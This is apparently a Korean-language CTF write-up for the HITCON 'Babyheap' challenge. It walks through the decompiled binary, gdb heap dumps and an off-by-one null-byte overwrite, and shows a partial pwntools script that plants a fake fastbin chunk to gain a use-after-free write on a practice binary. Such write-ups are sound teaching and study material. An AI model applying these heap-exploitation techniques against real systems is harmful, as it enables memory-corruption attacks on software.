Excuse the ads! We need some help to keep our site up.
Heap so fun! Baby, don't do it first.
|
autolycos@ubuntu:~/CTF/HITCON/Babyheap$ file babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b: ELF 64-bit LSB executable, x86-64, versin 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=2cf55840293ae4d6ddc13488c57b8009e598642f, stripped autolycos@ubuntu:~/CTF/HITCON/Babyheap$ checksec.sh --file babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b autolycos@ubuntu:~/CTF/HITCON/Babyheap$ |
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int command; // eax@2
char v4; // [rsp+10h] [rbp-10h]@12
__int64 v5; // [rsp+18h] [rbp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
SetSIGALRM();
while ( 1 )
{
while ( 1 )
{
PrintMenu();
command = UserInput();
if ( command != 2 )
break;
Delete();
}
if ( command > 2 )
{
if ( command == 3 )
{
Edit();
}
else if ( command == 4 )
{
printf("Really? (Y/n)", a2);
a2 = (char **)&v4;
__isoc99_scanf((__int64)"%2s", (__int64)&v4);
if ( v4 != aN[0] )
_exit(0);
}
else
{
LABEL_14:
puts("Invalid choice !");
}
}
else
{
if ( command != 1 )
goto LABEL_14;
New();
}
}
} |
else if ( command == 4 )
{
printf("Really? (Y/n)", a2);
a2 = (char **)&v4;
__isoc99_scanf((__int64)"%2s", (__int64)&v4);
if ( v4 != aN[0] )
_exit(0);
} |
"mov rsi, rax"
.text:0000000000400D1A mov edi, offset aReally?YN ; "Really? (Y/n)" .text:0000000000400D1F mov eax, 0 .text:0000000000400D24 call _printf .text:0000000000400D29 lea rax, [rbp+var_10] .text:0000000000400D2D mov rsi, rax .text:0000000000400D30 mov edi, offset a2s ; "%2s" .text:0000000000400D35 mov eax, 0 .text:0000000000400D3A call ___isoc99_scanf .text:0000000000400D3F lea rax, [rbp+var_10] .text:0000000000400D43 movzx edx, byte ptr [rax] .text:0000000000400D46 mov eax, offset aN ; "n" .text:0000000000400D4B movzx eax, byte ptr [rax] .text:0000000000400D4E cmp dl, al .text:0000000000400D50 jz short loc_400D6B .text:0000000000400D52 mov edi, 0 ; status .text:0000000000400D57 call __exit |
else if ( command == 4 )
{
printf("Really? (Y/n)");
__isoc99_scanf((__int64)"%2s", (__int64)&a2);
if ( v4 != aN[0] )
_exit(0);
} |
해당 함수는 다음과 같은 기능을 합니다.
read() 함수를 이용해 사용자로 부터 값을 입력받습니다.
입력 받은 값을 atoi() 함수에 전달해 정수를 반환 받습니다.
__int64 UserInput()
{
char nptr[4]; // [rsp+10h] [rbp-20h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
__read_chk(0LL, nptr, 16LL, 16LL);
return (unsigned int)atoi(nptr);
} |
read() 함수에 입력 받은 값을 저장할 공간은 0x7fffffffe140 입니다.
lazenca0x0@ubuntu:~/CTF/HITCON/Babyheap$ gdb -q ./baby*
Reading symbols from ./babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b...(no debugging symbols found)...done.
gdb-peda$ b *0x400948
Breakpoint 1 at 0x400948
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
#########################
Baby Heap
#########################
1 . New
2 . Delete
3 . Edit
4 . Exit
#########################
Your choice:
Breakpoint 1, 0x0000000000400948 in ?? ()
gdb-peda$ i r rsi
rsi 0x7fffffffe140 0x7fffffffe140
gdb-peda$ x/4gx 0x7fffffffe140
0x7fffffffe140: 0x0000000000000000 0x00007ffff7ffe168
0x7fffffffe150: 0x0000000000000005 0x1f0d0a69bf7b7b00
gdb-peda$ ni
AAAAAAAABBBBBBB
0x000000000040094d in ?? ()
gdb-peda$ x/4gx 0x7fffffffe140
0x7fffffffe140: 0x4141414141414141 0x0a42424242424242
0x7fffffffe150: 0x0000000000000005 0x1f0d0a69bf7b7b00
gdb-peda$ |
struct DATA
{
size_t size;
char name[8];
char *content;
}; |
해당 함수는 다음과 같은 기능을 합니다.
gData 전역 변수에 DATA 구조체의 공간을 할당합니다.
사용자로 부터 "Size"의 값을 입력 받아, 해당 크기 만큼 Heap 공간을 할당합니다.
UserInputStr() 함수를 이용해 "gData→content" 영역에 "gData→size"에 저장된 값 만큼 문자를 입력 받습니다.
int New()
{
DATA *size; // rbx
DATA *content; // rbx
if ( gData )
{
puts("bye bye");
_exit(0);
}
gData = (DATA *)malloc(0x18uLL);
if ( !gData )
{
puts("Error");
_exit(-1);
}
printf("Size :");
size = gData;
size->size = (signed int)UserInput();
content = gData;
content->content = (char *)malloc(gData->size);
if ( !gData->content )
{
puts("Error");
_exit(-1);
}
printf("Content:");
UserInputStr(gData->content, (unsigned int)gData->size);
printf("Name:");
UserInputStr(gData->name, 8LL);
return puts("Done!");
} |
char *__fastcall UserInputStr(char *content, int size)
{
char *result; // rax
int len; // [rsp+1Ch] [rbp-4h]
len = read(0, content, size);
if ( len <= 0 )
{
puts("Error");
_exit(-1);
}
result = &content[len];
*result = 0;
return result;
} |
|
gDeleteState 전역변수를 이용하여 해당 기능이 단 한번만 동작하도록 합니다.(기본 값 0)
__int64 Delete()
{
if ( !gData || gDeleteState )
{
puts("bye bye");
_exit(0);
}
free(gData->content);
free(gData);
gData = 0LL;
return (unsigned int)(gDeleteState++ + 1);
} |
UserInputString() 함수를 이용하여 "gData→content"에
저장된 내용을 변경합니다.
int Edit()
{
if ( !gData || gEditState )
{
puts("bye bye");
_exit(0);
}
printf("Content:");
UserInputStr(gData->content, gData->size);
++gEditState;
return puts("Done!");
} |
lazenca0x0@ubuntu:~/CTF/HITCON/Babyheap$ gdb -q ./baby*
Reading symbols from ./babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b...(no debugging symbols found)...done.
gdb-peda$ b *0x400D3A
Breakpoint 1 at 0x400d3a
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
#########################
Baby Heap
#########################
1 . New
2 . Delete
3 . Edit
4 . Exit
#########################
Your choice:4
Really? (Y/n)
Breakpoint 1, 0x0000000000400d3a in ?? ()
gdb-peda$ p main_arena
$1 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x0,
last_remainder = 0x0,
bins = {0x0 <repeats 254 times>},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff7dd1b20 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x0,
max_system_mem = 0x0
}
gdb-peda$ ni
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ p main_arena
$2 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x603410,
last_remainder = 0x0,
bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>,
0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>,
0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>,
0x7ffff7dd1be8 <main_arena+200>, 0x7ffff7dd1be8 <main_arena+200>, 0x7ffff7dd1bf8 <main_arena+216>, 0x7ffff7dd1bf8 <main_arena+216>, 0x7ffff7dd1c08 <main_arena+232>,
0x7ffff7dd1c08 <main_arena+232>, 0x7ffff7dd1c18 <main_arena+248>, 0x7ffff7dd1c18 <main_arena+248>, 0x7ffff7dd1c28 <main_arena+264>, 0x7ffff7dd1c28 <main_arena+264>,
0x7ffff7dd1c38 <main_arena+280>, 0x7ffff7dd1c38 <main_arena+280>, 0x7ffff7dd1c48 <main_arena+296>, 0x7ffff7dd1c48 <main_arena+296>, 0x7ffff7dd1c58 <main_arena+312>,
0x7ffff7dd1c58 <main_arena+312>, 0x7ffff7dd1c68 <main_arena+328>, 0x7ffff7dd1c68 <main_arena+328>, 0x7ffff7dd1c78 <main_arena+344>, 0x7ffff7dd1c78 <main_arena+344>,
0x7ffff7dd1c88 <main_arena+360>, 0x7ffff7dd1c88 <main_arena+360>, 0x7ffff7dd1c98 <main_arena+376>, 0x7ffff7dd1c98 <main_arena+376>, 0x7ffff7dd1ca8 <main_arena+392>,
0x7ffff7dd1ca8 <main_arena+392>, 0x7ffff7dd1cb8 <main_arena+408>, 0x7ffff7dd1cb8 <main_arena+408>, 0x7ffff7dd1cc8 <main_arena+424>, 0x7ffff7dd1cc8 <main_arena+424>,
0x7ffff7dd1cd8 <main_arena+440>, 0x7ffff7dd1cd8 <main_arena+440>, 0x7ffff7dd1ce8 <main_arena+456>, 0x7ffff7dd1ce8 <main_arena+456>, 0x7ffff7dd1cf8 <main_arena+472>,
0x7ffff7dd1cf8 <main_arena+472>, 0x7ffff7dd1d08 <main_arena+488>, 0x7ffff7dd1d08 <main_arena+488>, 0x7ffff7dd1d18 <main_arena+504>, 0x7ffff7dd1d18 <main_arena+504>,
0x7ffff7dd1d28 <main_arena+520>, 0x7ffff7dd1d28 <main_arena+520>, 0x7ffff7dd1d38 <main_arena+536>, 0x7ffff7dd1d38 <main_arena+536>, 0x7ffff7dd1d48 <main_arena+552>,
0x7ffff7dd1d48 <main_arena+552>, 0x7ffff7dd1d58 <main_arena+568>, 0x7ffff7dd1d58 <main_arena+568>, 0x7ffff7dd1d68 <main_arena+584>, 0x7ffff7dd1d68 <main_arena+584>,
0x7ffff7dd1d78 <main_arena+600>, 0x7ffff7dd1d78 <main_arena+600>, 0x7ffff7dd1d88 <main_arena+616>, 0x7ffff7dd1d88 <main_arena+616>, 0x7ffff7dd1d98 <main_arena+632>,
0x7ffff7dd1d98 <main_arena+632>, 0x7ffff7dd1da8 <main_arena+648>, 0x7ffff7dd1da8 <main_arena+648>, 0x7ffff7dd1db8 <main_arena+664>, 0x7ffff7dd1db8 <main_arena+664>,
0x7ffff7dd1dc8 <main_arena+680>, 0x7ffff7dd1dc8 <main_arena+680>, 0x7ffff7dd1dd8 <main_arena+696>, 0x7ffff7dd1dd8 <main_arena+696>, 0x7ffff7dd1de8 <main_arena+712>,
0x7ffff7dd1de8 <main_arena+712>, 0x7ffff7dd1df8 <main_arena+728>, 0x7ffff7dd1df8 <main_arena+728>, 0x7ffff7dd1e08 <main_arena+744>, 0x7ffff7dd1e08 <main_arena+744>,
0x7ffff7dd1e18 <main_arena+760>, 0x7ffff7dd1e18 <main_arena+760>, 0x7ffff7dd1e28 <main_arena+776>, 0x7ffff7dd1e28 <main_arena+776>, 0x7ffff7dd1e38 <main_arena+792>,
0x7ffff7dd1e38 <main_arena+792>, 0x7ffff7dd1e48 <main_arena+808>, 0x7ffff7dd1e48 <main_arena+808>, 0x7ffff7dd1e58 <main_arena+824>, 0x7ffff7dd1e58 <main_arena+824>,
0x7ffff7dd1e68 <main_arena+840>, 0x7ffff7dd1e68 <main_arena+840>, 0x7ffff7dd1e78 <main_arena+856>, 0x7ffff7dd1e78 <main_arena+856>, 0x7ffff7dd1e88 <main_arena+872>,
0x7ffff7dd1e88 <main_arena+872>, 0x7ffff7dd1e98 <main_arena+888>, 0x7ffff7dd1e98 <main_arena+888>, 0x7ffff7dd1ea8 <main_arena+904>, 0x7ffff7dd1ea8 <main_arena+904>,
0x7ffff7dd1eb8 <main_arena+920>, 0x7ffff7dd1eb8 <main_arena+920>, 0x7ffff7dd1ec8 <main_arena+936>, 0x7ffff7dd1ec8 <main_arena+936>, 0x7ffff7dd1ed8 <main_arena+952>,
0x7ffff7dd1ed8 <main_arena+952>, 0x7ffff7dd1ee8 <main_arena+968>, 0x7ffff7dd1ee8 <main_arena+968>, 0x7ffff7dd1ef8 <main_arena+984>, 0x7ffff7dd1ef8 <main_arena+984>,
0x7ffff7dd1f08 <main_arena+1000>, 0x7ffff7dd1f08 <main_arena+1000>, 0x7ffff7dd1f18 <main_arena+1016>, 0x7ffff7dd1f18 <main_arena+1016>,
0x7ffff7dd1f28 <main_arena+1032>, 0x7ffff7dd1f28 <main_arena+1032>, 0x7ffff7dd1f38 <main_arena+1048>, 0x7ffff7dd1f38 <main_arena+1048>,
0x7ffff7dd1f48 <main_arena+1064>, 0x7ffff7dd1f48 <main_arena+1064>, 0x7ffff7dd1f58 <main_arena+1080>, 0x7ffff7dd1f58 <main_arena+1080>,
0x7ffff7dd1f68 <main_arena+1096>, 0x7ffff7dd1f68 <main_arena+1096>, 0x7ffff7dd1f78 <main_arena+1112>, 0x7ffff7dd1f78 <main_arena+1112>,
0x7ffff7dd1f88 <main_arena+1128>, 0x7ffff7dd1f88 <main_arena+1128>, 0x7ffff7dd1f98 <main_arena+1144>, 0x7ffff7dd1f98 <main_arena+1144>,
0x7ffff7dd1fa8 <main_arena+1160>, 0x7ffff7dd1fa8 <main_arena+1160>, 0x7ffff7dd1fb8 <main_arena+1176>, 0x7ffff7dd1fb8 <main_arena+1176>,
0x7ffff7dd1fc8 <main_arena+1192>, 0x7ffff7dd1fc8 <main_arena+1192>, 0x7ffff7dd1fd8 <main_arena+1208>, 0x7ffff7dd1fd8 <main_arena+1208>,
0x7ffff7dd1fe8 <main_arena+1224>, 0x7ffff7dd1fe8 <main_arena+1224>, 0x7ffff7dd1ff8 <main_arena+1240>, 0x7ffff7dd1ff8 <main_arena+1240>,
0x7ffff7dd2008 <main_arena+1256>, 0x7ffff7dd2008 <main_arena+1256>, 0x7ffff7dd2018 <main_arena+1272>, 0x7ffff7dd2018 <main_arena+1272>,
0x7ffff7dd2028 <main_arena+1288>, 0x7ffff7dd2028 <main_arena+1288>, 0x7ffff7dd2038 <main_arena+1304>, 0x7ffff7dd2038 <main_arena+1304>,
0x7ffff7dd2048 <main_arena+1320>, 0x7ffff7dd2048 <main_arena+1320>, 0x7ffff7dd2058 <main_arena+1336>, 0x7ffff7dd2058 <main_arena+1336>,
0x7ffff7dd2068 <main_arena+1352>, 0x7ffff7dd2068 <main_arena+1352>, 0x7ffff7dd2078 <main_arena+1368>, 0x7ffff7dd2078 <main_arena+1368>,
0x7ffff7dd2088 <main_arena+1384>, 0x7ffff7dd2088 <main_arena+1384>, 0x7ffff7dd2098 <main_arena+1400>, 0x7ffff7dd2098 <main_arena+1400>,
0x7ffff7dd20a8 <main_arena+1416>, 0x7ffff7dd20a8 <main_arena+1416>, 0x7ffff7dd20b8 <main_arena+1432>, 0x7ffff7dd20b8 <main_arena+1432>,
0x7ffff7dd20c8 <main_arena+1448>, 0x7ffff7dd20c8 <main_arena+1448>, 0x7ffff7dd20d8 <main_arena+1464>, 0x7ffff7dd20d8 <main_arena+1464>,
0x7ffff7dd20e8 <main_arena+1480>, 0x7ffff7dd20e8 <main_arena+1480>, 0x7ffff7dd20f8 <main_arena+1496>, 0x7ffff7dd20f8 <main_arena+1496>,
0x7ffff7dd2108 <main_arena+1512>, 0x7ffff7dd2108 <main_arena+1512>, 0x7ffff7dd2118 <main_arena+1528>, 0x7ffff7dd2118 <main_arena+1528>,
0x7ffff7dd2128 <main_arena+1544>, 0x7ffff7dd2128 <main_arena+1544>, 0x7ffff7dd2138 <main_arena+1560>, 0x7ffff7dd2138 <main_arena+1560>,
0x7ffff7dd2148 <main_arena+1576>, 0x7ffff7dd2148 <main_arena+1576>, 0x7ffff7dd2158 <main_arena+1592>, 0x7ffff7dd2158 <main_arena+1592>,
0x7ffff7dd2168 <main_arena+1608>, 0x7ffff7dd2168 <main_arena+1608>, 0x7ffff7dd2178 <main_arena+1624>, 0x7ffff7dd2178 <main_arena+1624>,
0x7ffff7dd2188 <main_arena+1640>, 0x7ffff7dd2188 <main_arena+1640>, 0x7ffff7dd2198 <main_arena+1656>, 0x7ffff7dd2198 <main_arena+1656>,
0x7ffff7dd21a8 <main_arena+1672>, 0x7ffff7dd21a8 <main_arena+1672>...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff7dd1b20 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
gdb-peda$ x/10gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000411
0x603010: 0x4141414141414141 0x4141414141414141
0x603020: 0x4141414141414141 0x4141414141414141
0x603030: 0x4141414141414141 0x4141414141414141
0x603040: 0x4141414141414141 0x4141414141414141
gdb-peda$ |
(gdb) x/30gx 0x603000 0x603000: 0x0000000000000000 0x0000000000000411 0x603010: 0x414141414141416e 0x4141414141414141 0x603020: 0x4141414141414141 0x4141414141414141 0x603030: 0x4141414141414141 0x4141414141414141 0x603040: 0x4141414141414141 0x4141414141414141 0x603050: 0x000000000a414141 0x0000000000000000 0x603060: 0x0000000000000000 0x0000000000000000 0x603070: 0x0000000000000000 0x0000000000000000 0x603080: 0x0000000000000000 0x0000000000000000 0x603090: 0x0000000000000000 0x0000000000000000 0x6030a0: 0x0000000000000000 0x0000000000000000 0x6030b0: 0x0000000000000000 0x0000000000000000 0x6030c0: 0x0000000000000000 0x0000000000000000 0x6030d0: 0x0000000000000000 0x0000000000000000 0x6030e0: 0x0000000000000000 0x0000000000000000 (gdb) |
gdb-peda$ b *0x4009B8 Breakpoint 1 at 0x4009b8 gdb-peda$ b *0x4009C5 Breakpoint 2 at 0x4009c5 gdb-peda$ |
다음과 같이 top chunk의 값을 1byte 덮어쓸 수 있습니다.
"Content"의 크기를 24로 설정하면, 할당받은 메모리 영역 뒤 8byte는 "Top chunk" 영역을 사용됩니다.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
#########################
Baby Heap
#########################
1 . New
2 . Delete
3 . Edit
4 . Exit
#########################
Your choice:1
Size :24
Content:
Breakpoint 1, 0x0000000000400996 in ?? ()
gdb-peda$ i r rsi
rsi 0x603030 0x603030
gdb-peda$ c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x00000000004009b8 in ?? ()
gdb-peda$
Continuing.
Breakpoint 3, 0x00000000004009c5 in ?? ()
gdb-peda$ i r rax
rax 0x603048 0x603048
gdb-peda$ x/4gx 0x603030
0x603030: 0x4141414141414141 0x4141414141414141
0x603040: 0x4141414141414141 0x0000000000020fc1
gdb-peda$ x/bx 0x603048
0x603048: 0xc1
gdb-peda$ ni
0x00000000004009c8 in ?? ()
gdb-peda$ x/bx 0x603048
0x603048: 0x00
gdb-peda$ x/4gx 0x603030
0x603030: 0x4141414141414141 0x4141414141414141
0x603040: 0x4141414141414141 0x0000000000020f00
gdb-peda$ |
"gData→name" 변수 영역 뒤에 "gData→content"가 위치 합니다.
"Name"의 값으로 문자 8개를 입력해 "gData→content" 영역의 1byte를 "0x00"으로 변경됩니다.
0x603030 → 0x603000
gdb-peda$ c Continuing. Name: Breakpoint 1, 0x0000000000400996 in ?? () gdb-peda$ i r rsi rsi 0x603018 0x603018 gdb-peda$ x/4gx 0x603018 0x603018: 0x0000000000000000 0x0000000000603030 0x603028: 0x0000000000000021 0x4141414141414141 gdb-peda$ c Continuing. AAAAAAAA Breakpoint 2, 0x00000000004009b8 in ?? () gdb-peda$ Continuing. Breakpoint 3, 0x00000000004009c5 in ?? () gdb-peda$ i r rax rax 0x603020 0x603020 gdb-peda$ x/bx 0x603020 0x603020: 0x30 gdb-peda$ x/4gx 0x603018 0x603018: 0x4141414141414141 0x0000000000603030 0x603028: 0x0000000000000021 0x4141414141414141 gdb-peda$ ni 0x00000000004009c8 in ?? () gdb-peda$ x/4gx 0x603018 0x603018: 0x4141414141414141 0x0000000000603000 0x603028: 0x0000000000000021 0x4141414141414141 gdb-peda$ |
|
|
|
from pwn import *
def NewFunction(size,content,name):
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('Size :')
p.sendline(str(size))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Name:')
p.sendline(name)
def DeleteFunction():
p.recvuntil('Your choice:')
p.sendline('2')
def EditFunction(content):
p.recvuntil('Your choice:')
p.sendline('3')
p.recvuntil('Content:')
p.sendline(content)
def ExitFunction(answer):
p.recvuntil('Your choice:')
p.sendline('4')
p.recvuntil('Really? (Y/n)')
p.sendline(answer)
p = process('./babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b')
sleep(30)
fakechunk = "n".ljust(0xfe0,"\x41") + p64(0) + p64(0x71)
print "Fake chunk : " + fakechunk
ExitFunction(fakechunk)
p.interactive() |
lazenca0x0@ubuntu:~/CTF/HITCON/Babyheap$ python test.py [+] Starting local process './babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b': pid 103665 |
fake chunk 영역 : 0x20e7ff0 ~ 0x20e7ff8
lazenca0x0@ubuntu:~/CTF/HITCON/Babyheap$ gdb -q -p 103665
Attaching to process 103665
Reading symbols from /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
0x00007ff57cbba55c in __read_chk (fd=0x0, buf=0x7fff44ce4270, nbytes=0x10, buflen=<optimized out>) at read_chk.c:33
33 read_chk.c: No such file or directory.
gdb-peda$ b *0x400D3A
Breakpoint 1 at 0x400d3a
gdb-peda$ c
Continuing.
Breakpoint 1, 0x0000000000400d3a in ?? ()
gdb-peda$ info proc map
process 103665
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x402000 0x2000 0x0 /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
0x601000 0x602000 0x1000 0x1000 /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
0x602000 0x603000 0x1000 0x2000 /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
0x7ff57caa3000 0x7ff57cc63000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff57cc63000 0x7ff57ce63000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff57ce63000 0x7ff57ce67000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff57ce67000 0x7ff57ce69000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff57ce69000 0x7ff57ce6d000 0x4000 0x0
0x7ff57ce6d000 0x7ff57ce93000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff57d06f000 0x7ff57d072000 0x3000 0x0
0x7ff57d090000 0x7ff57d092000 0x2000 0x0
0x7ff57d092000 0x7ff57d093000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff57d093000 0x7ff57d094000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff57d094000 0x7ff57d095000 0x1000 0x0
0x7fff44cc6000 0x7fff44ce7000 0x21000 0x0 [stack]
0x7fff44dac000 0x7fff44dae000 0x2000 0x0 [vvar]
0x7fff44dae000 0x7fff44db0000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
gdb-peda$ ni
0x0000000000400d3f in ?? ()
gdb-peda$ info proc map
process 103665
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x402000 0x2000 0x0 /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
0x601000 0x602000 0x1000 0x1000 /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
0x602000 0x603000 0x1000 0x2000 /home/lazenca0x0/CTF/HITCON/Babyheap/babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b
0x20e7000 0x2109000 0x22000 0x0 [heap]
0x7ff57caa3000 0x7ff57cc63000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff57cc63000 0x7ff57ce63000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff57ce63000 0x7ff57ce67000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff57ce67000 0x7ff57ce69000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff57ce69000 0x7ff57ce6d000 0x4000 0x0
0x7ff57ce6d000 0x7ff57ce93000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff57d06f000 0x7ff57d072000 0x3000 0x0
0x7ff57d090000 0x7ff57d092000 0x2000 0x0
0x7ff57d092000 0x7ff57d093000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff57d093000 0x7ff57d094000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff57d094000 0x7ff57d095000 0x1000 0x0
0x7fff44cc6000 0x7fff44ce7000 0x21000 0x0 [stack]
0x7fff44dac000 0x7fff44dae000 0x2000 0x0 [vvar]
0x7fff44dae000 0x7fff44db0000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
gdb-peda$ x/2gx 0x20e7000
0x20e7000: 0x0000000000000000 0x0000000000001011
gdb-peda$ x/10gx 0x20e7000 + 0xfe0
0x20e7fe0: 0x4141414141414141 0x4141414141414141
0x20e7ff0: 0x0000000000000000 0x0000000000000071
0x20e8000: 0x000000000000000a 0x0000000000000000
0x20e8010: 0x0000000000000000 0x0000000000020ff1
0x20e8020: 0x0000000000000000 0x0000000000000000
gdb-peda$ |
gdb-peda$ b *0x400ADD Breakpoint 2 at 0x400add gdb-peda$ c Continuing. |
[*] Switching to interactive mode
#########################
Baby Heap
#########################
1 . New
2 . Delete
3 . Edit
4 . Exit
#########################
Your choice:$ 1
Size :$ 32
Content:$ BBBB
Name:$ CCCCCCCC
$ |
"content→content"(0x20e8030)에 저장된 값은 0x20e8040 입니다.
Breakpoint 2, 0x0000000000400add in ?? () gdb-peda$ x/10gx 0x20e7000 + 0xfe0 0x20e7fe0: 0x4141414141414141 0x4141414141414141 0x20e7ff0: 0x0000000000000000 0x0000000000000071 0x20e8000: 0x000000000000000a 0x0000000000000000 0x20e8010: 0x0000000000000000 0x0000000000000021 0x20e8020: 0x0000000000000020 0x0000000000000000 gdb-peda$ x/20gx 0x20e7000 + 0xfe0 0x20e7fe0: 0x4141414141414141 0x4141414141414141 0x20e7ff0: 0x0000000000000000 0x0000000000000071 0x20e8000: 0x000000000000000a 0x0000000000000000 0x20e8010: 0x0000000000000000 0x0000000000000021 0x20e8020: 0x0000000000000020 0x0000000000000000 0x20e8030: 0x00000000020e8040 0x0000000000000031 0x20e8040: 0x0000000a42424242 0x0000000000000000 0x20e8050: 0x0000000000000000 0x0000000000000000 0x20e8060: 0x0000000000000000 0x0000000000020fa1 0x20e8070: 0x0000000000000000 0x0000000000000000 gdb-peda$ ni 0x0000000000400ae2 in ?? () gdb-peda$ x/20gx 0x20e7000 + 0xfe0 0x20e7fe0: 0x4141414141414141 0x4141414141414141 0x20e7ff0: 0x0000000000000000 0x0000000000000071 0x20e8000: 0x000000000000000a 0x0000000000000000 0x20e8010: 0x0000000000000000 0x0000000000000021 0x20e8020: 0x0000000000000020 0x4343434343434343 0x20e8030: 0x00000000020e8000 0x0000000000000031 0x20e8040: 0x0000000a42424242 0x0000000000000000 0x20e8050: 0x0000000000000000 0x0000000000000000 0x20e8060: 0x0000000000000000 0x0000000000020fa1 0x20e8070: 0x0000000000000000 0x0000000000000000 gdb-peda$ |
#########################
Baby Heap
#########################
1 . New
2 . Delete
3 . Edit
4 . Exit
#########################
Your choice:$ 2 |
fastbinsY[0] : gData(0x20e8010)
^C Program received signal SIGINT, Interrupt. 0x00007ff57cbba55c in __read_chk (fd=0x0, buf=0x7fff44ce4270, nbytes=0x10, buflen=<optimized out>) at read_chk.c:33 33 in read_chk.c gdb-peda$ p main_arena.fastbinsY[0] $2 = (mfastbinptr) 0x20e8010 gdb-peda$ p main_arena.fastbinsY[5] $3 = (mfastbinptr) 0x20e7ff0 gdb-peda$ |
다음과 같은 방법으로 fastbinsY[5]영역을 할당받을 수 있습니다.
"1. New" 기능을 이용해 "Size :"의 값으로 0x60(96)을 입력합니다.
malloc() 함수에 의해fastbinsY[5]영역을 재할당합니다.
"gData"에는 fastbinsY[0]영역이 재할당됩니다.
즉, UAF 취약점을 이용하여 gData 구조체 변수의 내용을 Overflow가 가능합니다.
"ptr→content" 영역에 공격자가 값을 저장하기 원하는 주소 값을 저장 할 수 있습니다.
